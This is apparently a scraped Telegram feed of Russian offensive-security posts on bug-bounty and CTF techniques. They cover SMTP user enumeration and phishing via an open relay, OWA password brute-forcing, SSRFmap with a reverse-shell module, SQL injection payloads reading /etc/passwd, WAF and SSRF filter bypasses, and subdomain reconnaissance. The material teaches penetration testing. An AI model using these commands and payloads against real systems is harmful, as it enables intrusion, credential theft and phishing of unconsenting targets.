Architec.Ton is a ecosystem on the TON chain with non-custodial wallet, swap, apps catalog and launchpad.
Main app: @architec_ton_bot
Our Chat: @architec_ton
EU Channel: @architecton_eu
Twitter: x.com/architec_ton
Support: @architecton_support
Last updated 1 month ago
Канал для поиска исполнителей для разных задач и организации мини конкурсов
Last updated 1 month, 3 weeks ago
Пара кейсов с БагБаунти ☄️
Решил поделиться парой найденных багов, которые были подтверждены около года назад и уже исправлены.
В будущем планирую также выкладывать подобные посты, так как практические кейсы всегда позволяют подчерпнуть для себя чего-то нового.
Приятного прочтения ! ?
Атакуем корпоративную почту ☄️
Часто при пентесте возникает ситуация, когда при скане портов можно наткнуться на открытый 25 порт, на котором висит SMTP сервер, но что же можно с этим поделать?
Самым первым действием можно попробовать просто подключиться к самому серверу
nc \-vn ip 25
В данном случае уже можно получить баннер SMTP сервера и поискать готовые сплойты
Бывали случаи, когда SMTP сервер не требовал аутентификации и позволял отправлять почтовые письма от любого юзера другому любому юзеру, что будет отличным началом для последующего фишинга. Но что делать, если на этапе разведки нам не удалось получить достаточное количество корпоративных емэйлов сотрудников?
Тут нам поможет user enumeration(брут учеток), который можно сделать через готовую утилиту smtp-user-enum, написанную на питоне
pip install smtp\-user\-enum
Утилита имеет несколько режимов, которые используются при неудачной отработке других
VRFY mode(default)
smtp\-user\-enum \-U /usr/share/wordlists/users.txt mail.example.tld 25
EXPN mode
smtp\-user\-enum \-m EXPN \-U /usr/share/wordlists/users.txt mail.example.tld 25
RCPT mode
smtp\-user\-enum \-m RCPT \-U /usr/share/wordlists/users.txt mail.example.tld 25
Также существует готовый модуль в metasploit для перебора пользователей на smtp сервере
msf > use auxiliary/scanner/smtp/smtp\_enum
msf auxiliary(smtp\_enum) set RHOSTS <IP address/target>
msf auxiliary(smtp\_enum) > set rport 25
msf auxiliary(smtp\_enum) set USER\_FILE <address of file>
msf auxiliary(smtp\_enum) run
После того как мы нашли валидные мэйлы уже можно отправлять сообщения
MAIL FROM: [email protected]
250 ok
RCPT TO: [email protected]
250 ok
data
354 End data with <CR><LF>.<CR><LF>
SUBJECT: Тема письма
фишинговый текст
. (ставится с новой строки, чтобы закончить текст письма)
250 ok
В контексте темы поста рассмотрим ситуацию, когда мы натыкаемся на Microsoft Exchange Server, а именно на Outlook Web Access, веб-интерфейс, предоставляющий пользователю возможность отправлять сообщения, добавлять контакты, вести календарь и планы.
Для поиска эксплойтов можно узнать версию OWA следующим скриптом
sudo python3 get\_exchange\_version.py https://mail.target.com
В отстутствии списка валидных почт, можно воспользоваться Time Based брутфорсом, который иногда срабатывает. Для этого запустим Intruder в Burp Suite, подготовим словарь и начнем перебирать пользователей. После выполнения Sniper атаки(Режим работы Intruder) отфильтруем запросы по времени и увидим, что у валидных пользователей время обработки запроса будет в разы больше.
Можно воспользоваться одними из самых популярных CVE для OWA
ProxyLogon
ProxyShell
Для уже найденных пользователей можно сбрутить пароль также через Intruder, либо через инструмент ruler
```
wget https://github.com/sensepost/ruler/releases/download/2.4.1/ruler-linux64
chmod +x ruler-linux64
./ruler-linux64 --domain domain.com brute --users usernames.txt --passwords passwords.txt
```
После успешной аутентификации можно не только отправлять письма, либо читать переписки, но и собрать весьма полезную информацию из календаря, либо cписок контаков GAL(Global Address List)
Для автоматизации сбора глобального списка адресов можем опять использовать ruler
./ruler\-linux64 \-\-email [email protected] abk dump \-\-output /tmp/gal.txt
Автоматизация с помощью SSRFmap ??
Проверенный временем, инструмент для автоматизации SSRF атак, поддерживающий большое количество модулей, кодирование нагрузки для bypass'а WAF'ов, создание reverse shell соединения
☄️ https://github.com/swisskyrepo/SSRFmap ☄️
Ставим на хост
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
pip3 install \-r requirements.txt
python3 ssrfmap.py
Поднимаем докер
git clone https://github.com/swisskyrepo/SSRFmap
docker build \-\-no\-cache \-t ssrfmap .
docker run \-it ssrfmap ssrfmap.py [OPTIONS]
docker run \-it \-v $(pwd):/usr/src/app ssrfmap ssrfmap.py
Пример команды, где опция \-r
—> запрос, сохраненный из Burp Suite, \-p
—> тестируемый параметр, \-m
—> используемые модули
python ssrfmap.py \-r request.txt \-p url \-m readfiles,portscan
Используем модуль redis
, который сразу пробует проэксплуатировать RCE, где параметры LHOST
и LPORT
служат для создания reverse shell
python ssrfmap.py \-r request.txt \-p url \-m redis \-\-lhost=127.0.0.1 \-\-lport=4242 \-l 4242
И в конце небольшой Cheat Sheet по SSRF ?
Про URL Parsing Confusion... ⚡️
Казалось бы, у нас есть стандартный URL Scheme, который выглядит следующий образом
scheme://username:password@host:port/path?param=value
?scheme - это используемый протокол, например (http, https, ftp)
?username:password - креды для HTTP Authentication, которые вставляются непосредственно в URL согласно RFC 7235
?host - домен или IP - адрес, к которому мы хотим подключиться
?port - порт на котором висит сам сервис (по умолчанию для http -> 80 https -> 443 ftp -> 21)
?path - путь для конкретной страницы(файла) на искомом хосте
?param=value - параметры, передаваемые на сервер
Но встречаются такие случаи, когда в приложении используется один или несколько парсеров, которые могут обрабатывать структуру URL Scheme по - разному, что может привести к непредвиденному поведению самого приложения. Описанная ситуация и приводит к такому понятию как URL Parsing Confusion
Данный тип уязвимостей часто позволяет проводить bypass blacklist'ов, waf'а при SSRF
пример
пример
пример
❗️Более подробно хотелось бы остановиться на таске с кубка ctf 2022, на примере которого было бы достаточно просто понять, как такая уязвимость в приложении появляется
Анализируя код приложения, можно заметить достаточно очевидную SQL-инъекцию в GET-параметре password
rows, err := ah.db.QueryContext(ctx, fmt.Sprintf(`SELECT content FROM secrets WHERE id = %d AND password = "%s"`, secretId, q.Get("password")))
Помимо этого у нас висит Nginx lua, который производит проверку GET-параметра password
```
location /api {
access_by_lua_block {
local args, err = ngx.req.get_uri_args()
if err == "truncated" then
ngx.exit(ngx.HTTP_FORBIDDEN)
end
if args["password"] and ngx.re.match(args["password"], "[^A\-Za\-z0\-9]") then
ngx.exit(ngx.HTTP\_FORBIDDEN)
end
}
```
Но что же делать, ведь Nginx полностью запрещает символы, нужные для эксплуатации SQL-инъекции ❓
Обратим внимание, что в докерфайле прописана версия Golang'a 1.16
А парсер net/url в Golang до версии 1.17 принимает за разделитель как классический &
, так и ;
То есть в нашем случае будет первый payload, который nginx lua не пропускает
?id=1&password=1" UNION ALL SELECT LOAD\_FILE('/etc/passwd') \-\-
И второй payload, который пройдет из-за того, что парсер nginx'a не считает ;
за разделитель
?id=1;password=1" UNION ALL SELECT LOAD\_FILE('/etc/passwd') \-\-
➡️ Тем самым, возник тот самый случай URL Parsing Confusion, когда парсер пакета net/url Golang'a версии 1.16 и парсер Nginx lua воспринимают разделитель ;
по-разному
*? *Wordlist'ы подъехали *? *Включаем свои фаззеры, интрудеры, дирсерчи и вперед сканить❗️
Большое количество словарей под самые разнообразные ситуации ☄️
https://github.com/1BlackLine/Payloads/tree/main
GitHub
GitHub - 1BlackLine/Payloads: Payload for bug bounty
Payload for bug bounty. Contribute to 1BlackLine/Payloads development by creating an account on GitHub.
?Поиск поддоменов или как расширить скоуп на ББ?
Очевидно, когда вендор сам прописывает поддомены, участвующие в программе BugBounty...?
Но какие есть способы поиска поддоменов, когда видим *.example.com
❓
?Об этом и следущий пост?
❗️Стандартные сервисы для поиска поддоменов❗️
В интернете можно найти много сервисов, позволяющих получить информацию о поддоменах, вот некоторые из них
https://dnsdumpster.com/
https://subdomainfinder.c99.nl/
https://www.vedbex.com/subdomain-finder
❗️Поисковые системы❗️
Можно по поиску основного домена наткнуться на выдаваемые поддомены используя Yandex, DuckDuckGo, Google
Запрос c помощью Google Dorks
также может помочь
```
site:*.example.com
```
❗️Анализ подгружаемых js файлов❗️
Частый случай, когда на исследумый сайт подгружается огромное количество js файлов, в которых могут содержаться до этого не известные поддомены
❗️Brute Force поддоменов❗️
Наверное, один из самых очевидных способов. Следующий вариант брута с помощью puredns
, на мой взгляд, самый быстрый и эффективный.
Устанавливаем massdns,
который используется puredns
(Указываем путь бинарника massdns
в переменную окружения PATH, либо указываем через опцию \-\-bin
при выполнении самого puredns
)
git clone https://github.com/blechschmidt/massdns.git
cd massdns
make
sudo make install
Используем dnsvalidator
, чтобы получить список NS серверов(ждем чтобы отработало несколько минут)
git clone https://github.com/vortexau/dnsvalidator
cd dnsvalidator
dnsvalidator \-tL https://public\-dns.info/nameservers.txt \-threads 20 \-o resolvers.txt
Запускаем сам puredns
./puredns bruteforce subdomain\_wordlist.txt example.com \-r resolvers.txt
И если отсутвует PATH для massdns
./puredns bruteforce subdomain\_wordlist.txt example.com \-r resolvers.txt \-\-bin path\_to\_massdns\_binary
*⛳️Когда настоящий Attack/Defense только начинается*⛳️
Представим,что уже прошли first blood'ы ?
Вот первые сплойты переписаны из трафика ✍️
Почти все команды запатчились ?
И тут начинается самое интересное ...
Казалось бы, ферма уже не приносит поинты с наших сплойтов и на этом все...
Но это как раз тот момент, в котором надо копнуть чуть глубже...
Этот пост как раз и будет про классические bypass'ы неумелых патчей, или как можно нафармить халявные очки..?
❗️Простые правила на WAF'е❗️
Некоторые команды, настраивающие WAF, могут забанить конкретную сигнатуру сплойта, например,
file:///etc/passwd
, и казалось бы, сплойт не проходит, но тут нам в помощь приходит классический URL encoding, и наш file:///etc/passwd
превращается в %66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64
.
Изредка, но подобный енкодинг реально работает!
❗️Открытые порты❗️
Очень часто на A/D встречаются следующие строчки
environment:
\- POSTGRES\_USER=postgres
\- POSTGRES\_PASSWORD=postgres
\- POSTGRES\_DB=postgres
ports:
\- 5432:5432
По идее, правильно было бы вообще закрыть торчащий наружу порт, но реально бывали случаи, когда некоторые 'умельцы' просто меняли внешний порт с 5432
на 5433
и т.д., оставив те же самые креды.
Если заметили, что подобные сплойты перестали работать, то можно прогнать сервис через nmap.
❗️Секретные ключи в файлах ❗️
Реальный кейс с CTFCUP 2023, когда в сервисе был пробит LFI, благодаря которому вытягивался secret_key
, с помощью которого переподписывался JWT Token.
Казалось бы, можно переместить secret_key
в переменные окружения и все, через LFI его не достать, но...
Большинство команд просто поменяли стандартное название файла, в котором хранился secret_key
, думая, что название файла не узнать.
И вот тут главная ошибка.. Название файла, содержащее, secret_key
все равно прописывается в main'е, в котором этот самый файл и импортируется. Таким образом, и была пробита большая часть команд, не задумавшихся о хорошем патче.
❗️Стандартные конфиги снифферов❗️
Для примера рассмотрим один из самых популярных снифферов Packmate
При его деплое нужно создать .env
файл, в который могут загрузить стандартный конфиг с гитлаба https://gitlab.com/packmate/Packmate/-/blob/master/docs/SETUP.md
\# Локальный IP сервера, на который приходит игровой трафик
PACKMATE\_LOCAL\_IP=ip
\# Имя пользователя для web\-авторизации
PACKMATE\_WEB\_LOGIN=SomeUser
\# Пароль для web\-авторизации
PACKMATE\_WEB\_PASSWORD=SomeSecurePassword
И тут опять классический вариант...
Сканим nmap'ом всю сетку и ищем порты, отличающиеся от игровых сервисов, находим Packmate
, пробуем зайти под стандартными кредами, вдруг админ забыл их поменять.
В данном случае можно вытащить флаги вообще со всех сервисов команды.?
?Очень простой и эффективный способ bypass'a SSRF ?
Будь то какой-нибудь CTF, либо практический кейс на BugBounty, часто встречается потенциальный SSRF, который блочится waf'ом, либо самописным blacklist'ом.
Но что же делать в данном случае ❓❓❓
Сейчас поделюсь с вами распространенным способом, который достаточно часто проходил, когда присутствует возможность отправки запросов на сторонние домены.
Существует сервис https://pipedream.com, в котором можно создать свой поддомен с белым айпишником, позволяющий настраивать HTTP заголовки и статусы ответа от сервера, чем мы несомненно и воспользуемся.?
❗️ Для начала создадим workflow, в котором сделаем trigger на HTTP запросы
❗️ Затем добавим action на произвольный код(Run custom code)
❗️Вставим следующий код
```
export default defineComponent({
async run({ steps, $ }) {
const headers = {
location:"http://localhost:8080"
}
await $.respond({
status: 302,
headers: headers
})
},
})
```
❗️В нем, мы можем манипулировать заголовком Location, который осуществляет редирект на нужный нам ip-адрес:порт
❗️Тем самым, данная техника позволяет нам обходить возможные фильтры, заставляя уязвимый сервис отправлять запрос на подконтрольный поддомен, который уже и будет заставлять сам сервис отправлять запросы во внутреннюю сеть.
❗️ Если сервис не дает отправить запрос на наш поддомен, то можно попробовать укоротить ссылку через https://clck.ru/
Pipedream
Connect APIs, AI, databases and more - Pipedream
Pipedream is the fastest way to build powerful applications that connect all the services in your stack, with code-level control when you need it and no code when you don't.
?Wayback Machine как средство для багхантинга ?
Наверное, многие слышали про сервис Wayback Machine https://archive.org/ , который с помощью поисковых роботов делает снапшоты разнообразных сайтов. ?
Но чем же данный сервис может помочь при багхантинге ❓
❗️Во-первых, данный сервис может помочь собрать , так называемые, low-hanging fruits.
Был случай, когда был Wayback Machine показал эндпоинт типа http://example/api/profile/+7хххххххххх, сразу содержащий уязвимость типа IDOR.
❗️Во-вторых, он позволяет найти устаревшие параметры, которые разработчики убрать забыли ,и в явную на проде не используются, но они все также могут содержаться уязвимости, что расширяет скоуп.
❗️В-третьих, сервис помогает найти дополнительные эндпоинты API , которые через обычный фронт бывает найти не так просто.
❗️ В дополнение, Wayback Machine имеет собственный API, позволяющие писать автоматизирующие скрипты https://archive.org/help/wayback_api.php. Либо же можно использовать готовые решения на гитхабе, например https://github.com/tomnomnom/waybackurls/
GitHub
GitHub - tomnomnom/waybackurls: Fetch all the URLs that the Wayback Machine knows about for a domain
Fetch all the URLs that the Wayback Machine knows about for a domain - tomnomnom/waybackurls
Architec.Ton is a ecosystem on the TON chain with non-custodial wallet, swap, apps catalog and launchpad.
Main app: @architec_ton_bot
Our Chat: @architec_ton
EU Channel: @architecton_eu
Twitter: x.com/architec_ton
Support: @architecton_support
Last updated 1 month ago
Канал для поиска исполнителей для разных задач и организации мини конкурсов
Last updated 1 month, 3 weeks ago